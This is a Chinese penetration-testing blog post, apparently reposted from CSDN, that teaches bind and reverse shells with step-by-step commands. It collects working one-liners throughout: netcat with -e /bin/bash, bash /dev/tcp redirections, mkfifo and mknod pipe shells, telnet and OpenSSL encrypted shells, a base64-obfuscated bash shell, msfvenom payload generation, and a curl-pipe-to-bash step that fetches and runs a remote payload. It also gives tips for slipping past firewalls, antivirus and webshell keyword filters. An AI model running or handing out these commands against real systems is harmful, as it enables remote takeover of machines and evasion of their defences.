文章目录
- 相关博客
- 反弹shell介绍
- 常用反弹方式
- NetCat(NC)反弹
-
- Telnet反弹
-
- OpenSSL
- Curl
相关博客
- Linux信息收集、渗透测试常用命令: https://xunmi.blog.csdn.net/article/details/114970239 (如果你不了解
重定向
和标准文件操作符
一定要看一下此博客这两部分,要不然你可能无法理解下面反弹shell的命令原理!!!) - Linux常用提权方法: https://xunmi.blog.csdn.net/article/details/115187418
- 渗透测试常用反弹shell方法(如何渗透测试反弹shell?: https://xunmi.blog.csdn.net/article/details/115458490
反弹shell介绍
反弹shell主要就是让我们能远程连接到目标控制台并且下达指令,来达到操控目标资产的目的!
反弹shell分为:
- 正向反弹: 控制端(也就是我们自己的机器)发送请求去连接被控端(目标机器)的方式。
不过这种方式会受到防火墙,路由,等各种很多因素影响,很难成功。
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210406132047988.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5NjExMjMw,size_16,color_FFFFFF,t_70)
- 反向反弹: 被控端主动发送请求连接我们的控制端。
这种方法是可以想办法避开防火墙和路由的一些限制的!
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210406132535591.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5NjExMjMw,size_16,color_FFFFFF,t_70)
常用反弹方式
测试机器:
- kali: 192.168.1.200(可连通外网,我一般用他作为攻击机,控制端)
- contos7: 43.128.11.131(腾讯云的一台vps,我一般用他作为常规服务器,被控端)
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210416122250380.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5NjExMjMw,size_16,color_FFFFFF,t_70)
NetCat(NC)反弹
无论是Windows还是Linux都是可以使用NC进行反弹的。
正向NC
正向的时候,我们需要先在被控端开启指定端口的监听,然后在使用控制端去连接
nc -lvvp 端口号 -e 使用的sh
nc -lvvp 4578 -e /bin/bash
nc 目标IP 端口号
nc 43.128.11.131 4578
payload/cmd/unix/bind_netcat
payload/cmd/unix/reverse_netcat
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210416123617779.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5NjExMjMw,size_16,color_FFFFFF,t_70)
反向NC
被控端反向shell种类非常多,可以使用在线工具生成: https://weibell.github.io/reverse-shell-generator/
下面我会详细剖析一些常用的被控端反向shell的命令原理!
使用正向shell的大多数场景是已经在目标内网中,几乎不存在太多安全措施的情况下,一般不重视如何绕过防火墙杀软之类的检测。但反向shell不同,一般反向shell需要攻击的目标都是和外网有之间连接的机器,这种机器一般都会有一些安全措施,为了防止被这些安全措施拦截,我们可能会用一些花里胡哨的方法来迷惑安全措施。(如果你看不懂这里,则请先看一下我的Linux渗透测试命令基础博客!)中反弹shell基础那部分的说明!
nc –lvvp 端口
nc -e /bin/bash IP 端口
一般直接使用nc反弹的shell并不是很稳定,并且可能还会出现没有-e
参数的情况(-e
: 程序重定向,一但连接就执行,这是一个危险参数,所以可能目标nc会不支持此参数),这时候我们还一些在被控端执行的反弹shell命令同样可以自行,并且是完全兼容控制端nc的命令的!
bash -i >& /dev/tcp/IP/端口 0>&1
bash -i > /dev/tcp/IP/端口 0>&1 2>&1
exec 5<>/dev/tcp/IP/端口;cat <&5 | while read line; do $line 2>&5 >&5; done
0<&181-;exec 181<>/dev/tcp/IP/端口;sh <&181 >&181 2>&181
bash -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC/nq6/lj6MgMD4mMQ==|base64 -d|bash -i"
cmd/unix/bind_netcat
cmd/unix/reverse_netcat
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210418114117333.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5NjExMjMw,size_16,color_FFFFFF,t_70)
![在这里插入图片描述](https://img-blog.csdnimg.cn/202104181635441.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5NjExMjMw,size_16,color_FFFFFF,t_70)
如果目标机器/dev/tcp
也无法使用,这可以尝试使用下面方法!
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc IP 端口 >/tmp/f
mknod backpipe p; nc IP 端口 0<backpipe | /bin/bash 1>backpipe 2>backpipe
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.1 lport=4578 -f raw
mkfifo /tmp/ysngi; nc 192.168.1.1 4578 0</tmp/ysngi | /bin/sh >/tmp/ysngi 2>&1; rm /tmp/ysngi
-
rm /tmp/临时文件;mkfifo /tmp/临时文件;cat /tmp/临时文件 | /bin/bash -i 2>&1 | nc IP 端口 >/tmp/临时文件
rm /tmp/临时文件
: 首先删除临时文件
,以免造成冲突,(后面的分号;
表述依次逐个执行后面的命令。)mkfifo /tmp/临时文件
: mkfifo
是Linux中专门用来创建管道的命令,具体作用如下图,我们可以在一个终端中创建一个管道符,传入一个命令后,在另一个终端接收即可获取数据(使用重定向符<
的话可以持续接收!比如cat < 临时文件
)。![在这里插入图片描述](https://img-blog.csdnimg.cn/20210419004510349.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5NjExMjMw,size_16,color_FFFFFF,t_70)
cat /tmp/临时文件 | /bin/bash -i 2>&1 | nc IP 端口 >/tmp/临时文件
cat /tmp/临时文件
: 首先读取新创建的临时文件,并将内容通过管道符传给下一个命令/bin/bash -i 2>&1 | nc IP 端口 >/tmp/临时文件
: 先将上一步获取到的命令在bash终端中执行,并将结果通过nc输出到目标,并且将目标的命令重新写入临时文件
msf可以自动的快速生成这种命令!
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210419002746212.png)
-
mknod backpipe p; nc IP 端口 0<backpipe | /bin/bash 1>backpipe 2>backpipe
- mknod 设备名 p: 创建字符设备文件和块设备文件(类似我们插入u盘之类的那种设备文件!)这里的创建p表示创建 FIFO(已命名的管道)
Telnet反弹
telnet
命令: 用于登录远程主机,对远程主机进行管理。他是ssh
前辈,但因为安全性方面远不如ssh,甚至直接是使用明文传输数据的,已经逐步被弃用了。但我们依旧可以尝试使用它在一些仍然开启Telnet服务的机器中尝试反弹shell。
正向shell
nc -lvvp 输入端口
nc -lvvp 输出端口
telnet 47.101.214.85 输入端口 | /bin/bash | telnet 47.101.214.85 输出端口
反向shell
nc -lvvp 端口
rm -f a && mknod a p && telnet IP 端口 0<a | /bin/bash 1>a
rm -f a;mknod a p;telnet IP 端口 0<a | /bin/bash 1>a
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210419021647549.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5NjExMjMw,size_16,color_FFFFFF,t_70)
OpenSSL
SSL是安全套接字协议,而OpenSSL是Linux系统中强大的安全套接字层密码库,具体他的用法这里就不介绍了,下面只会提到和反弹shell有个的一些内容。
首先我们利用此库反弹shell,需要生成一个秘钥文件
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
mkfifo /tmp/s;/bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect IP:443 > /tmp/s;rm /tmp/s
所有选项都可以选择默认的(这里我就把地区改成了我认为的中国,不确定是对的,但不影响)
![在这里插入图片描述](https://img-blog.csdnimg.cn/2021041902275432.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5NjExMjMw,size_16,color_FFFFFF,t_70)
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210419023006488.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5NjExMjMw,size_16,color_FFFFFF,t_70)
Curl
没错,这就是Linux系统中的下载命令,因为有时候可能我们拿下的webshell有一些过滤机制,会把我们的反弹shell中一些关键词过滤掉,导致一直反弹失败,这时候我们可以尝试使用这种方法来执行!
首先我们需要在公网服务器中创建一个index.html
文件,并且在其中写入反弹shell命令,然后开启http服务,并且开始监听之前的反弹shell命令指定的端口。
echo 'bash -i >& /dev/tcp/IP/端口' > index.html
echo 'bash -i >& /dev/tcp/43.128.11.131/4545' > index.html
python3 -m http.server &
nc -lvvp 4545
curl 43.128.11.131:8000|bash
![在这里插入图片描述](https://img-blog.csdnimg.cn/2021041903032646.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5NjExMjMw,size_16,color_FFFFFF,t_70)
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)